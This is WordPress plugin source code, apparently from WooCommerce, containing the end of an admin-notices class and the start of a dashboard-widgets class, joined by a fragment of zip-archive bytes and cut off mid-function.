		self::$notices = array_diff( self::get_notices(), array( $name ) );
		delete_option( 'woocommerce_admin_notice_' . $name );

		if ( $force_save ) {
			// Adding early save to prevent more race conditions with notices.
			self::store_notices();
		}
	}

	/**
	 * See if a notice is being shown.
	 *
	 * @param string $name Notice name.
	 *
	 * @return boolean
	 */
	public static function has_notice( $name ) {
		return in_array( $name, self::get_notices(), true );
	}

	/**
	 * Hide a notice if the GET variable is set.
	 */
	public static function hide_notices() {
		if ( isset( $_GET['wc-hide-notice'] ) && isset( $_GET['_wc_notice_nonce'] ) ) { // WPCS: input var ok, CSRF ok.
			if ( ! wp_verify_nonce( sanitize_key( wp_unslash( $_GET['_wc_notice_nonce'] ) ), 'woocommerce_hide_notices_nonce' ) ) { // WPCS: input var ok, CSRF ok.
				wp_die( esc_html__( 'Action failed. Please refresh the page and retry.', 'woocommerce' ) );
			}

			if ( ! current_user_can( 'manage_woocommerce' ) ) {
				wp_die( esc_html__( 'You don&#8217;t have permission to do this.', 'woocommerce' ) );
			}

			$hide_notice = sanitize_text_field( wp_unslash( $_GET['wc-hide-notice'] ) ); // WPCS: input var ok, CSRF ok.

			self::remove_notice( $hide_notice );

			update_user_meta( get_current_user_id(), 'dismissed_' . $hide_notice . '_notice', true );

			do_action( 'woocommerce_hide_' . $hide_notice . '_notice' );
		}
	}

	/**
	 * Add notices + styles if needed.
	 */
	public static function add_notices() {
		$notices = self::get_notices();

		if ( empty( $notices ) ) {
			return;
		}

		$screen          = get_current_screen();
		$screen_id       = $screen ? $screen->id : '';
		$show_on_screens = array(
			'dashboard',
			'plugins',
		);

		// Notices should only show on WooCommerce screens, the main dashboard, and on the plugins screen.
		if ( ! in_array( $screen_id, wc_get_screen_ids(), true ) && ! in_array( $screen_id, $show_on_screens, true ) ) {
			return;
		}

		wp_enqueue_style( 'woocommerce-activation', plugins_url( '/assets/css/activation.css', WC_PLUGIN_FILE ), array(), Constants::get_constant( 'WC_VERSION' ) );

		// Add RTL support.
		wp_style_add_data( 'woocommerce-activation', 'rtl', 'replace' );

		foreach ( $notices as $notice ) {
			if ( ! empty( self::$core_notices[ $notice ] ) && apply_filters( 'woocommerce_show_admin_notice', true, $notice ) ) {
				add_action( 'admin_notices', array( __CLASS__, self::$core_notices[ $notice ] ) );
			} else {
				add_action( 'admin_notices', array( __CLASS__, 'output_custom_notices' ) );
			}
		}
	}

	/**
	 * Add a custom notice.
	 *
	 * @param string $name        Notice name.
	 * @param string $notice_html Notice HTML.
	 */
	public static function add_custom_notice( $name, $notice_html ) {
		self::add_notice( $name );
		update_option( 'woocommerce_admin_notice_' . $name, wp_kses_post( $notice_html ) );
	}

	/**
	 * Output any stored custom notices.
	 */
	public static function output_custom_notices() {
		$notices = self::get_notices();

		if ( ! empty( $notices ) ) {
			foreach ( $notices as $notice ) {
				if ( empty( self::$core_notices[ $notice ] ) ) {
					$notice_html = get_option( 'woocommerce_admin_notice_' . $notice );

					if ( $notice_html ) {
						include dirname( __FILE__ ) . '/views/html-notice-custom.php';
					}
				}
			}
		}
	}

	/**
	 * If we need to update the database, include a message with the DB update button.
	 */
	public static function update_notice() {
		$screen    = get_current_screen();
		$screen_id = $screen ? $screen->id : '';
		if ( WC()->is_wc_admin_active() && in_array( $screen_id, wc_get_screen_ids(), true ) ) {
			return;
		}

		if ( WC_Install::needs_db_update() ) {
			$next_scheduled_date = WC()->queue()->get_next( 'woocommerce_run_update_callback', null, 'woocommerce-db-updates' );

			if ( $next_scheduled_date || ! empty( $_GET['do_update_woocommerce'] ) ) { // WPCS: input var ok, CSRF ok.
				include dirname( __FILE__ ) . '/views/html-notice-updating.php';
			} else {
				include dirname( __FILE__ ) . '/views/html-notice-update.php';
			}
		} else {
			include dirname( __FILE__ ) . '/views/html-notice-updated.php';
		}
	}

	/**
	 * If we have just installed, show a message with the install pages button.
	 *
	 * @deprecated 4.6.0
	 */
	public static function install_notice() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', __( 'Onboarding is maintained in WooCommerce Admin.', 'woocommerce' ) );
	}

	/**
	 * Show a notice highlighting bad template files.
	 */
	public static function template_file_check_notice() {
		$core_templates = WC_Admin_Status::scan_template_files( WC()->plugin_path() . '/templates' );
		$outdated       = false;

		foreach ( $core_templates as $file ) {

			$theme_file = false;
			if ( file_exists( get_stylesheet_directory() . '/' . $file ) ) {
				$theme_file = get_stylesheet_directory() . '/' . $file;
			} elseif ( file_exists( get_stylesheet_directory() . '/' . WC()->template_path() . $file ) ) {
				$theme_file = get_stylesheet_directory() . '/' . WC()->template_path() . $file;
			} elseif ( file_exists( get_template_directory() . '/' . $file ) ) {
				$theme_file = get_template_directory() . '/' . $file;
			} elseif ( file_exists( get_template_directory() . '/' . WC()->template_path() . $file ) ) {
				$theme_file = get_template_directory() . '/' . WC()->template_path() . $file;
			}

			if ( false !== $theme_file ) {
				$core_version  = WC_Admin_Status::get_file_version( WC()->plugin_path() . '/templates/' . $file );
				$theme_version = WC_Admin_Status::get_file_version( $theme_file );

				if ( $core_version && $theme_version && version_compare( $theme_version, $core_version, '<' ) ) {
					$outdated = true;
					break;
				}
			}
		}

		if ( $outdated ) {
			include dirname( __FILE__ ) . '/views/html-notice-template-check.php';
		} else {
			self::remove_notice( 'template_files' );
		}
	}

	/**
	 * Show a notice asking users to convert to shipping zones.
	 *
	 * @todo remove in 4.0.0
	 */
	public static function legacy_shipping_notice() {
		$maybe_load_legacy_methods = array( 'flat_rate', 'free_shipping', 'international_delivery', 'local_delivery', 'local_pickup' );
		$enabled                   = false;

		foreach ( $maybe_load_legacy_methods as $method ) {
			$options = get_option( 'woocommerce_' . $method . '_settings' );
			if ( $options && isset( $options['enabled'] ) && 'yes' === $options['enabled'] ) {
				$enabled = true;
			}
		}

		if ( $enabled ) {
			include dirname( __FILE__ ) . '/views/html-notice-legacy-shipping.php';
		} else {
			self::remove_notice( 'template_files' );
		}
	}

	/**
	 * No shipping methods.
	 */
	public static function no_shipping_methods_notice() {
		if ( wc_shipping_enabled() && ( empty( $_GET['page'] ) || empty( $_GET['tab'] ) || 'wc-settings' !== $_GET['page'] || 'shipping' !== $_GET['tab'] ) ) { // WPCS: input var ok, CSRF ok.
			$product_count = wp_count_posts( 'product' );
			$method_count  = wc_get_shipping_method_count();

			if ( $product_count->publish > 0 && 0 === $method_count ) {
				include dirname( __FILE__ ) . '/views/html-notice-no-shipping-methods.php';
			}

			if ( $method_count > 0 ) {
				self::remove_notice( 'no_shipping_methods' );
			}
		}
	}

	/**
	 * Notice shown when regenerating thumbnails background process is running.
	 */
	public static function regenerating_thumbnails_notice() {
		include dirname( __FILE__ ) . '/views/html-notice-regenerating-thumbnails.php';
	}

	/**
	 * Notice about secure connection.
	 */
	public static function secure_connection_notice() {
		if ( self::is_ssl() || get_user_meta( get_current_user_id(), 'dismissed_no_secure_connection_notice', true ) ) {
			return;
		}

		include dirname( __FILE__ ) . '/views/html-notice-secure-connection.php';
	}

	/**
	 * Notice shown when regenerating thumbnails background process is running.
	 *
	 * @since 3.6.0
	 */
	public static function regenerating_lookup_table_notice() {
		// See if this is still relevent.
		if ( ! wc_update_product_lookup_tables_is_running() ) {
			self::remove_notice( 'regenerating_lookup_table' );
			return;
		}

		include dirname( __FILE__ ) . '/views/html-notice-regenerating-lookup-table.php';
	}

	/**
	 * Add notice about minimum PHP and WordPress requirement.
	 *
	 * @since 3.6.5
	 */
	public static function add_min_version_notice() {
		if ( version_compare( phpversion(), WC_NOTICE_MIN_PHP_VERSION, '<' ) || version_compare( get_bloginfo( 'version' ), WC_NOTICE_MIN_WP_VERSION, '<' ) ) {
			self::add_notice( WC_PHP_MIN_REQUIREMENTS_NOTICE );
		}
	}

	/**
	 * Notice about WordPress and PHP minimum requirements.
	 *
	 * @since 3.6.5
	 * @return void
	 */
	public static function wp_php_min_requirements_notice() {
		if ( apply_filters( 'woocommerce_hide_php_wp_nag', get_user_meta( get_current_user_id(), 'dismissed_' . WC_PHP_MIN_REQUIREMENTS_NOTICE . '_notice', true ) ) ) {
			self::remove_notice( WC_PHP_MIN_REQUIREMENTS_NOTICE );
			return;
		}

		$old_php = version_compare( phpversion(), WC_NOTICE_MIN_PHP_VERSION, '<' );
		$old_wp  = version_compare( get_bloginfo( 'version' ), WC_NOTICE_MIN_WP_VERSION, '<' );

		// Both PHP and WordPress up to date version => no notice.
		if ( ! $old_php && ! $old_wp ) {
			return;
		}

		if ( $old_php && $old_wp ) {
			$msg = sprintf(
				/* translators: 1: Minimum PHP version 2: Minimum WordPress version */
				__( 'Update required: WooCommerce will soon require PHP version %1$s and WordPress version %2$s or newer.', 'woocommerce' ),
				WC_NOTICE_MIN_PHP_VERSION,
				WC_NOTICE_MIN_WP_VERSION
			);
		} elseif ( $old_php ) {
			$msg = sprintf(
				/* translators: %s: Minimum PHP version */
				__( 'Update required: WooCommerce will soon require PHP version %s or newer.', 'woocommerce' ),
				WC_NOTICE_MIN_PHP_VERSION
			);
		} elseif ( $old_wp ) {
			$msg = sprintf(
				/* translators: %s: Minimum WordPress version */
				__( 'Update required: WooCommerce will soon require WordPress version %s or newer.', 'woocommerce' ),
				WC_NOTICE_MIN_WP_VERSION
			);
		}

		include dirname( __FILE__ ) . '/views/html-notice-wp-php-minimum-requirements.php';
	}

	/**
	 * Add MaxMind missing license key notice.
	 *
	 * @since 3.9.0
	 */
	public static function add_maxmind_missing_license_key_notice() {
		$default_address = get_option( 'woocommerce_default_customer_address' );

		if ( ! in_array( $default_address, array( 'geolocation', 'geolocation_ajax' ), true ) ) {
			return;
		}

		$integration_options = get_option( 'woocommerce_maxmind_geolocation_settings' );
		if ( empty( $integration_options['license_key'] ) ) {
			self::add_notice( 'maxmind_license_key' );

		}
	}

	/**
	 *  Add notice about Redirect-only download method, nudging user to switch to a different method instead.
	 */
	public static function add_redirect_download_method_notice() {
		if ( 'redirect' === get_option( 'woocommerce_file_download_method' ) ) {
			self::add_notice( 'redirect_download_method' );
		} else {
			self::remove_notice( 'redirect_download_method' );
		}
	}

	/**
	 * Display MaxMind missing license key notice.
	 *
	 * @since 3.9.0
	 */
	public static function maxmind_missing_license_key_notice() {
		$user_dismissed_notice   = get_user_meta( get_current_user_id(), 'dismissed_maxmind_license_key_notice', true );
		$filter_dismissed_notice = ! apply_filters( 'woocommerce_maxmind_geolocation_display_notices', true );

		if ( $user_dismissed_notice || $filter_dismissed_notice ) {
			self::remove_notice( 'maxmind_license_key' );
			return;
		}

		include dirname( __FILE__ ) . '/views/html-notice-maxmind-license-key.php';
	}

	/**
	 * Notice about Redirect-Only download method.
	 *
	 * @since 4.0
	 */
	public static function redirect_download_method_notice() {
		if ( apply_filters( 'woocommerce_hide_redirect_method_nag', get_user_meta( get_current_user_id(), 'dismissed_redirect_download_method_notice', true ) ) ) {
			self::remove_notice( 'redirect_download_method' );
			return;
		}

		include dirname( __FILE__ ) . '/views/html-notice-redirect-only-download.php';
	}

	/**
	 * Notice about uploads directory begin unprotected.
	 *
	 * @since 4.2.0
	 */
	public static function uploads_directory_is_unprotected_notice() {
		if ( get_user_meta( get_current_user_id(), 'dismissed_uploads_directory_is_unprotected_notice', true ) || self::is_uploads_directory_protected() ) {
			self::remove_notice( 'uploads_directory_is_unprotected' );
			return;
		}

		include dirname( __FILE__ ) . '/views/html-notice-uploads-directory-is-unprotected.php';
	}

	/**
	 * Notice about base tables missing.
	 */
	public static function base_tables_missing_notice() {
		$notice_dismissed = apply_filters(
			'woocommerce_hide_base_tables_missing_nag',
			get_user_meta( get_current_user_id(), 'dismissed_base_tables_missing_notice', true )
		);
		if ( $notice_dismissed ) {
			self::remove_notice( 'base_tables_missing' );
		}

		include dirname( __FILE__ ) . '/views/html-notice-base-table-missing.php';
	}

	/**
	 * Determine if the store is running SSL.
	 *
	 * @return bool Flag SSL enabled.
	 * @since  3.5.1
	 */
	protected static function is_ssl() {
		$shop_page = wc_get_page_permalink( 'shop' );

		return ( is_ssl() && 'https' === substr( $shop_page, 0, 5 ) );
	}

	/**
	 * Wrapper for is_plugin_active.
	 *
	 * @param string $plugin Plugin to check.
	 * @return boolean
	 */
	protected static function is_plugin_active( $plugin ) {
		if ( ! function_exists( 'is_plugin_active' ) ) {
			include_once ABSPATH . 'wp-admin/includes/plugin.php';
		}
		return is_plugin_active( $plugin );
	}

	/**
	 * Simplify Commerce is no longer in core.
	 *
	 * @deprecated 3.6.0 No longer shown.
	 */
	public static function simplify_commerce_notice() {
		wc_deprecated_function( 'WC_Admin_Notices::simplify_commerce_notice', '3.6.0' );
	}

	/**
	 * Show the Theme Check notice.
	 *
	 * @deprecated 3.3.0 No longer shown.
	 */
	public static function theme_check_notice() {
		wc_deprecated_function( 'WC_Admin_Notices::theme_check_notice', '3.3.0' );
	}

	/**
	 * Check if uploads directory is protected.
	 *
	 * @since 4.2.0
	 * @return bool
	 */
	protected static function is_uploads_directory_protected() {
		$cache_key = '_woocommerce_upload_directory_status';
		$status    = get_transient( $cache_key );

		// Check for cache.
		if ( false !== $status ) {
			return 'protected' === $status;
		}

		// Get only data from the uploads directory.
		$uploads = wp_get_upload_dir();

		// Check for the "uploads/woocommerce_uploads" directory.
		$response         = wp_safe_remote_get(
			esc_url_raw( $uploads['baseurl'] . '/woocommerce_uploads/' ),
			array(
				'redirection' => 0,
			)
		);
		$response_code    = intval( wp_remote_retrieve_response_code( $response ) );
		$response_content = wp_remote_retrieve_body( $response );

		// Check if returns 200 with empty content in case can open an index.html file,
		// and check for non-200 codes in case the directory is protected.
		$is_protected = ( 200 === $response_code && empty( $response_content ) ) || ( 200 !== $response_code );
		set_transient( $cache_key, $is_protected ? 'protected' : 'unprotected', 1 * DAY_IN_SECONDS );

		return $is_protected;
	}
}

WC_Admin_Notices::init();
PK�3\���ESESclass-wc-admin-dashboard.phpnu�[���<?php
/**
 * Admin Dashboard
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! class_exists( 'WC_Admin_Dashboard', false ) ) :

	/**
	 * WC_Admin_Dashboard Class.
	 */
	class WC_Admin_Dashboard {

		/**
		 * Hook in tabs.
		 */
		public function __construct() {
			// Only hook in admin parts if the user has admin access.
			if ( $this->should_display_widget() ) {
				// If on network admin, only load the widget that works in that context and skip the rest.
				if ( is_multisite() && is_network_admin() ) {
					add_action( 'wp_network_dashboard_setup', array( $this, 'register_network_order_widget' ) );
				} else {
					add_action( 'wp_dashboard_setup', array( $this, 'init' ) );
				}
			}
		}

		/**
		 * Init dashboard widgets.
		 */
		public function init() {
			// Reviews Widget.
			if ( current_user_can( 'publish_shop_orders' ) && post_type_supports( 'product', 'comments' ) ) {
				wp_add_dashboard_widget( 'woocommerce_dashboard_recent_reviews', __( 'WooCommerce Recent Reviews', 'woocommerce' ), array( $this, 'recent_reviews' ) );
			}
			wp_add_dashboard_widget( 'woocommerce_dashboard_status', __( 'WooCommerce Status', 'woocommerce' ), array( $this, 'status_widget' ) );

			// Network Order Widget.
			if ( is_multisite() && is_main_site() ) {
				$this->register_network_order_widget();
			}
		}

		/**
		 * Register the network order dashboard widget.
		 */
		public function register_network_order_widget() {
			wp_add_dashboard_widget( 'woocommerce_network_orders', __( 'WooCommerce Network Orders', 'woocommerce' ), array( $this, 'network_orders' ) );
		}

		/**
		 * Check to see if we should display the widget.
		 *
		 * @return bool
		 */
		private function should_display_widget() {
			if ( ! WC()->is_wc_admin_active() ) {
				return false;
			}

			$has_permission           = current_user_can( 'view_woocommerce_reports' ) || current_user_can( 'manage_woocommerce' ) || current_user_can( 'publish_shop_orders' );
			$task_completed_or_hidden = 'yes' === get_option( 'woocommerce_task_list_complete' ) || 'yes' === get_option( 'woocommerce_task_list_hidden' );
			return $task_completed_or_hidden && $has_permission;
		}

		/**
		 * Get top seller from DB.
		 *
		 * @return object
		 */
		private function get_top_seller() {
			global $wpdb;

			$query            = array();
			$query['fields']  = "SELECT SUM( order_item_meta.meta_value ) as qty, order_item_meta_2.meta_value as product_id
			FROM {$wpdb->posts} as posts";
			$query['join']    = "INNER JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON posts.ID = order_id ";
			$query['join']   .= "INNER JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS order_item_meta ON order_items.order_item_id = order_item_meta.order_item_id ";
			$query['join']   .= "INNER JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS order_item_meta_2 ON order_items.order_item_id = order_item_meta_2.order_item_id ";
			$query['where']   = "WHERE posts.post_type IN ( '" . implode( "','", wc_get_order_types( 'order-count' ) ) . "' ) ";
			$query['where']  .= "AND posts.post_status IN ( 'wc-" . implode( "','wc-", apply_filters( 'woocommerce_reports_order_statuses', array( 'completed', 'processing', 'on-hold' ) ) ) . "' ) ";
			$query['where']  .= "AND order_item_meta.meta_key = '_qty' ";
			$query['where']  .= "AND order_item_meta_2.meta_key = '_product_id' ";
			$query['where']  .= "AND posts.post_date >= '" . gmdate( 'Y-m-01', current_time( 'timestamp' ) ) . "' ";
			$query['where']  .= "AND posts.post_date <= '" . gmdate( 'Y-m-d H:i:s', current_time( 'timestamp' ) ) . "' ";
			$query['groupby'] = 'GROUP BY product_id';
			$query['orderby'] = 'ORDER BY qty DESC';
			$query['limits']  = 'LIMIT 1';

			return $wpdb->get_row( implode( ' ', apply_filters( 'woocommerce_dashboard_status_widget_top_seller_query', $query ) ) ); //phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		}

		/**
		 * Get sales report data.
		 *
		 * @return object
		 */
		private function get_sales_report_data() {
			include_once dirname( __FILE__ ) . '/reports/class-wc-report-sales-by-date.php';

			$sales_by_date                 = new WC_Report_Sales_By_Date();
			$sales_by_date->start_date     = strtotime( gmdate( 'Y-m-01', current_time( 'timestamp' ) ) );
			$sales_by_date->end_date       = strtotime( gmdate( 'Y-m-d', current_time( 'timestamp' ) ) );
			$sales_by_date->chart_groupby  = 'day';
			$sales_by_date->group_by_query = 'YEAR(posts.post_date), MONTH(posts.post_date), DAY(posts.post_date)';

			return $sales_by_date->get_report_data();
		}

		/**
		 * Show status widget.
		 */
		public function status_widget() {
			$suffix  = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
			$version = Constants::get_constant( 'WC_VERSION' );

			wp_enqueue_script( 'wc-status-widget', WC()->plugin_url() . '/assets/js/admin/wc-status-widget' . $suffix . '.js', array( 'jquery' ), $version, true );

			include_once dirname( __FILE__ ) . '/reports/class-wc-admin-report.php';

			$is_wc_admin_disabled = apply_filters( 'woocommerce_admin_disabled', false );

			$reports = new WC_Admin_Report();

			$net_sales_link  = 'admin.php?page=wc-reports&tab=orders&range=month';
			$top_seller_link = 'admin.php?page=wc-reports&tab=orders&report=sales_by_product&range=month&product_ids=';
			$report_data     = $is_wc_admin_disabled ? $this->get_sales_report_data() : $this->get_wc_admin_performance_data();
			if ( ! $is_wc_admin_disabled ) {
				$net_sales_link  = 'admin.php?page=wc-admin&path=%2Fanalytics%2Frevenue&chart=net_revenue&orderby=net_revenue&period=month&compare=previous_period';
				$top_seller_link = 'admin.php?page=wc-admin&filter=single_product&path=%2Fanalytics%2Fproducts&products=';
			}

			echo '<ul class="wc_status_list">';

			if ( current_user_can( 'view_woocommerce_reports' ) ) {

				if ( $report_data ) {
					?>
				<li class="sales-this-month">
				<a href="<?php echo esc_url( admin_url( $net_sales_link ) ); ?>">
					<?php echo $this->sales_sparkline( $reports, $is_wc_admin_disabled, '' ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
					<?php
						printf(
							/* translators: %s: net sales */
							esc_html__( '%s net sales this month', 'woocommerce' ),
							'<strong>' . wc_price( $report_data->net_sales ) . '</strong>'
						); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
					?>
					</a>
				</li>
					<?php
				}

				$top_seller = $this->get_top_seller();
				if ( $top_seller && $top_seller->qty ) {
					?>
				<li class="best-seller-this-month">
				<a href="<?php echo esc_url( admin_url( $top_seller_link . $top_seller->product_id ) ); ?>">
					<?php echo $this->sales_sparkline( $reports, $is_wc_admin_disabled, $top_seller->product_id, 'count' ); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped ?>
					<?php
						printf(
							/* translators: 1: top seller product title 2: top seller quantity */
							esc_html__( '%1$s top seller this month (sold %2$d)', 'woocommerce' ),
							'<strong>' . get_the_title( $top_seller->product_id ) . '</strong>',
							$top_seller->qty
						); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
					?>
					</a>
				</li>
					<?php
				}
			}

			$this->status_widget_order_rows();
			$this->status_widget_stock_rows( $is_wc_admin_disabled );

			do_action( 'woocommerce_after_dashboard_status_widget', $reports );
			echo '</ul>';
		}

		/**
		 * Show order data is status widget.
		 */
		private function status_widget_order_rows() {
			if ( ! current_user_can( 'edit_shop_orders' ) ) {
				return;
			}
			$on_hold_count    = 0;
			$processing_count = 0;

			foreach ( wc_get_order_types( 'order-count' ) as $type ) {
				$counts            = (array) wp_count_posts( $type );
				$on_hold_count    += isset( $counts['wc-on-hold'] ) ? $counts['wc-on-hold'] : 0;
				$processing_count += isset( $counts['wc-processing'] ) ? $counts['wc-processing'] : 0;
			}
			?>
			<li class="processing-orders">
			<a href="<?php echo esc_url( admin_url( 'edit.php?post_status=wc-processing&post_type=shop_order' ) ); ?>">
				<?php
					printf(
						/* translators: %s: order count */
						_n( '<strong>%s order</strong> awaiting processing', '<strong>%s orders</strong> awaiting processing', $processing_count, 'woocommerce' ),
						$processing_count
					); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
				?>
				</a>
			</li>
			<li class="on-hold-orders">
				<a href="<?php echo esc_url( admin_url( 'edit.php?post_status=wc-on-hold&post_type=shop_order' ) ); ?>">
				<?php
					printf(
						/* translators: %s: order count */
						_n( '<strong>%s order</strong> on-hold', '<strong>%s orders</strong> on-hold', $on_hold_count, 'woocommerce' ),
						$on_hold_count
					); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
				?>
				</a>
			</li>
			<?php
		}

		/**
		 * Show stock data is status widget.
		 *
		 * @param bool $is_wc_admin_disabled if woocommerce admin is disabled.
		 */
		private function status_widget_stock_rows( $is_wc_admin_disabled ) {
			global $wpdb;

			// Requires lookup table added in 3.6.
			if ( version_compare( get_option( 'woocommerce_db_version', null ), '3.6', '<' ) ) {
				return;
			}

			$stock   = absint( max( get_option( 'woocommerce_notify_low_stock_amount' ), 1 ) );
			$nostock = absint( max( get_option( 'woocommerce_notify_no_stock_amount' ), 0 ) );

			$transient_name   = 'wc_low_stock_count';
			$lowinstock_count = get_transient( $transient_name );

			if ( false === $lowinstock_count ) {
				/**
				 * Status widget low in stock count pre query.
				 *
				 * @since 4.3.0
				 * @param null|string $low_in_stock_count Low in stock count, by default null.
				 * @param int         $stock              Low stock amount.
				 * @param int         $nostock            No stock amount
				 */
				$lowinstock_count = apply_filters( 'woocommerce_status_widget_low_in_stock_count_pre_query', null, $stock, $nostock );

				if ( is_null( $lowinstock_count ) ) {
					$lowinstock_count = $wpdb->get_var(
						$wpdb->prepare(
							"SELECT COUNT( product_id )
							FROM {$wpdb->wc_product_meta_lookup} AS lookup
							INNER JOIN {$wpdb->posts} as posts ON lookup.product_id = posts.ID
							WHERE stock_quantity <= %d
							AND stock_quantity > %d
							AND posts.post_status = 'publish'",
							$stock,
							$nostock
						)
					);
				}

				set_transient( $transient_name, (int) $lowinstock_count, DAY_IN_SECONDS * 30 );
			}

			$transient_name   = 'wc_outofstock_count';
			$outofstock_count = get_transient( $transient_name );
			$lowstock_link    = 'admin.php?page=wc-reports&tab=stock&report=low_in_stock';
			$outofstock_link  = 'admin.php?page=wc-reports&tab=stock&report=out_of_stock';

			if ( false === $is_wc_admin_disabled ) {
				$lowstock_link   = 'admin.php?page=wc-admin&type=lowstock&path=%2Fanalytics%2Fstock';
				$outofstock_link = 'admin.php?page=wc-admin&type=outofstock&path=%2Fanalytics%2Fstock';
			}

			if ( false === $outofstock_count ) {
				/**
				 * Status widget out of stock count pre query.
				 *
				 * @since 4.3.0
				 * @param null|string $outofstock_count Out of stock count, by default null.
				 * @param int         $nostock          No stock amount
				 */
				$outofstock_count = apply_filters( 'woocommerce_status_widget_out_of_stock_count_pre_query', null, $nostock );

				if ( is_null( $outofstock_count ) ) {
					$outofstock_count = (int) $wpdb->get_var(
						$wpdb->prepare(
							"SELECT COUNT( product_id )
							FROM {$wpdb->wc_product_meta_lookup} AS lookup
							INNER JOIN {$wpdb->posts} as posts ON lookup.product_id = posts.ID
							WHERE stock_quantity <= %d
							AND posts.post_status = 'publish'",
							$nostock
						)
					);
				}

				set_transient( $transient_name, (int) $outofstock_count, DAY_IN_SECONDS * 30 );
			}
			?>
			<li class="low-in-stock">
			<a href="<?php echo esc_url( admin_url( $lowstock_link ) ); ?>">
				<?php
					printf(
						/* translators: %s: order count */
						_n( '<strong>%s product</strong> low in stock', '<strong>%s products</strong> low in stock', $lowinstock_count, 'woocommerce' ),
						$lowinstock_count
					); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
				?>
				</a>
			</li>
			<li class="out-of-stock">
				<a href="<?php echo esc_url( admin_url( $outofstock_link ) ); ?>">
				<?php
					printf(
						/* translators: %s: order count */
						_n( '<strong>%s product</strong> out of stock', '<strong>%s products</strong> out of stock', $outofstock_count, 'woocommerce' ),
						$outofstock_count
					); // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
				?>
				</a>
			</li>
			<?php
		}

		/**
		 * Recent reviews widget.
		 */
		public function recent_reviews() {
			global $wpdb;

			$query_from = apply_filters(
				'woocommerce_report_recent_reviews_query_from',
				"FROM {$wpdb->comments} comments
				LEFT JOIN {$wpdb->posts} posts ON (comments.comment_post_ID = posts.ID)
				WHERE comments.comment_approved = '1'
				AND comments.comment_type = 'review'
				AND posts.post_password = ''
				AND posts.post_type = 'product'
				AND comments.comment_parent = 0
				ORDER BY comments.comment_date_gmt DESC
				LIMIT 5"
			);

			$comments = $wpdb->get_results(
				"SELECT posts.ID, posts.post_title, comments.comment_author, comments.comment_author_email, comments.comment_ID, comments.comment_content {$query_from};" // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
			);

			if ( $comments ) {
				echo '<ul>';
				foreach ( $comments as $comment ) {

					echo '<li>';

					echo get_avatar( $comment->comment_author_email, '32' );

					$rating = intval( get_comment_meta( $comment->comment_ID, 'rating', true ) );

					/* translators: %s: rating */
					echo '<div class="star-rating"><span style="width:' . esc_attr( $rating * 20 ) . '%">' . sprintf( esc_html__( '%s out of 5', 'woocommerce' ), esc_html( $rating ) ) . '</span></div>';

					/* translators: %s: review author */
					echo '<h4 class="meta"><a href="' . esc_url( get_permalink( $comment->ID ) ) . '#comment-' . esc_attr( absint( $comment->comment_ID ) ) . '">' . esc_html( apply_filters( 'woocommerce_admin_dashboard_recent_reviews', $comment->post_title, $comment ) ) . '</a> ' . sprintf( esc_html__( 'reviewed by %s', 'woocommerce' ), esc_html( $comment->comment_author ) ) . '</h4>';
					echo '<blockquote>' . wp_kses_data( $comment->comment_content ) . '</blockquote></li>';

				}
				echo '</ul>';
			} else {
				echo '<p>' . esc_html__( 'There are no product reviews yet.', 'woocommerce' ) . '</p>';
			}
		}

		/**
		 * Network orders widget.
		 */
		public function network_orders() {
			$suffix  = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
			$version = Constants::get_constant( 'WC_VERSION' );

			wp_enqueue_style( 'wc-network-orders', WC()->plugin_url() . '/assets/css/network-order-widget.css', array(), $version );

			wp_enqueue_script( 'wc-network-orders', WC()->plugin_url() . '/assets/js/admin/network-orders' . $suffix . '.js', array( 'jquery', 'underscore' ), $version, true );

			$user     = wp_get_current_user();
			$blogs    = get_blogs_of_user( $user->ID );
			$blog_ids = wp_list_pluck( $blogs, 'userblog_id' );

			wp_localize_script(
				'wc-network-orders',
				'woocommerce_network_orders',
				array(
					'nonce'          => wp_create_nonce( 'wp_rest' ),
					'sites'          => array_values( $blog_ids ),
					'order_endpoint' => get_rest_url( null, 'wc/v3/orders/network' ),
				)
			);
			?>
			<div class="post-type-shop_order">
			<div id="woocommerce-network-order-table-loading" class="woocommerce-network-order-table-loading is-active">
				<p>
					<span class="spinner is-active"></span> <?php esc_html_e( 'Loading network orders', 'woocommerce' ); ?>
				</p>

			</div>
			<table id="woocommerce-network-order-table" class="woocommerce-network-order-table">
				<thead>
					<tr>
						<td><?php esc_html_e( 'Order', 'woocommerce' ); ?></td>
						<td><?php esc_html_e( 'Status', 'woocommerce' ); ?></td>
						<td><?php esc_html_e( 'Total', 'woocommerce' ); ?></td>
					</tr>
				</thead>
				<tbody id="network-orders-tbody">

				</tbody>
			</table>
			<div id="woocommerce-network-orders-no-orders" class="woocommerce-network-orders-no-orders">
				<p>
					<?php esc_html_e( 'No orders found', 'woocommerce' ); ?>
				</p>
			</div>
			<?php // @codingStandardsIgnoreStart ?>
			<script type="text/template" id="network-orders-row-template">
				<tr>
					<td>
						<a href="<%- edit_url %>" class="order-view"><strong>#<%- number %> <%- customer %></strong></a>
						<br>
						<em>
							<%- blog.blogname %>
						</em>
					</td>
					<td>
						<mark class="order-status status-<%- status %>"><span><%- status_name %></span></mark>
					</td>
					<td>
						<%= formatted_total %>
					</td>
				</tr>
			</script>
			<?php // @codingStandardsIgnoreEnd ?>
		</div>
			<?php
		}

		/**
		 * Gets the sales performance data from the new WooAdmin store.
		 *
		 * @return stdClass|WP_Error|WP_REST_Response
		 */
		private function get_wc_admin_performance_data() {
			$request    = new \WP_REST_Request( 'GET', '/wc-analytics/reports/performance-indicators' );
